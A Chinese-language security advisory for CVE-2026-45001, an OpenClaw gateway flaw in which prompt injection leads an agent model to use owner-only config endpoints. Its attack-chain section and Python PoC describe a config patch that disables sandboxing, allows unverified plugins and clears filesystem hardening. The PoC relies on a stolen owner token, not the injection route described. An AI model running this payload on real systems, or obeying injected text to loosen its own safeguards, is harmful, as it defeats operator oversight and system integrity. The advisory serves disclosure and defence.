IPBUF安全漏洞报告
English
CVE-2026-45001 CVSS 7.1 高危

CVE-2026-45001 OpenClaw网关配置修改防护绕过漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-45001
漏洞类型
访问控制绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

CVE-2026-45001OpenClaw访问控制绕过配置篡改提示注入AI安全

漏洞概述

OpenClaw 2026.4.20之前的版本在agent-facing gateway的配置端点存在防护绕过漏洞。攻击者可通过提示注入控制模型,利用其对所有者网关工具的访问权限,绕过防护机制修改沙箱策略、插件启用状态及网关认证等关键操作员设置。该漏洞允许低权限攻击者持久化篡改系统配置,对系统完整性造成严重影响。

技术细节

该漏洞的核心在于OpenClaw的agent-facing gateway组件中,`config.patch`和`config.apply`端点缺乏对敏感配置项的严格访问控制。系统设计本意是区分普通Agent请求和受信任的所有者操作员请求,但防护机制存在缺陷,未能有效保护沙箱策略、插件启用、网关认证/TLS配置、Hook路由、MCP服务器配置、SSRF策略及文件系统加固等关键设置。在攻击链中,攻击者首先利用大语言模型的提示注入漏洞,诱导具有访问权限的模型调用原本仅限系统所有者使用的Gateway工具。由于配置修改的防护校验被绕过,攻击者可通过上述端点提交恶意配置变更。这些变更会被持久化保存,从而允许攻击者禁用安全沙箱、绕过认证机制或启用未授权插件。这种利用方式不仅破坏了系统的完整性(I:H),还可能导致敏感信息泄露(C:L),且整个过程无需用户交互,仅需低权限即可通过网络发起攻击。

攻击链分析

STEP 1
1. 提示注入
攻击者向OpenClaw中的模型发送恶意提示,诱导模型调用受限的所有者网关工具。
STEP 2
2. 绕过防护
利用模型对网关工具的访问权限,攻击者向`config.patch`或`config.apply`端点发送请求,由于防护机制失效,系统未验证请求者是否为真实操作员。
STEP 3
3. 修改配置
攻击者提交包含恶意配置的Payload,修改沙箱策略、SSRF策略或认证设置等受保护参数。
STEP 4
4. 持久化控制
恶意配置被系统持久化保存,攻击者获得对系统更深层次的控制权,可绕过安全限制执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-45001: OpenClaw Gateway Config Mutation Guard Bypass # This script demonstrates how an attacker might exploit the bypass to disable sandbox policies. # Prerequisites: The attacker needs to prompt-inject the model to gain access to the owner-only gateway tool. import requests import json target_url = "http://target-openclaw-instance/api/gateway/config.patch" headers = { "Content-Type": "application/json", "Authorization": "Bearer <stolen_or_leaked_owner_token>" } # Malicious payload to disable the sandbox policy and allow arbitrary code execution malicious_config = { "sandbox_policy": { "enabled": False, "restrictions": [] }, "plugin_enablement": { "allow_unverified": True }, "filesystem_hardening": { "read_only_paths": [] } } try: response = requests.patch(target_url, headers=headers, data=json.dumps(malicious_config)) if response.status_code == 200: print("[+] Successfully bypassed guard and updated configuration.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to update config. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

OpenClaw < 2026.4.20

防御指南

临时缓解措施
若无法立即升级,建议暂时禁用agent-facing gateway的配置修改接口,或通过网络ACL限制仅受信任的管理员IP可访问该接口,并密切监控配置文件的异常变更。

参考链接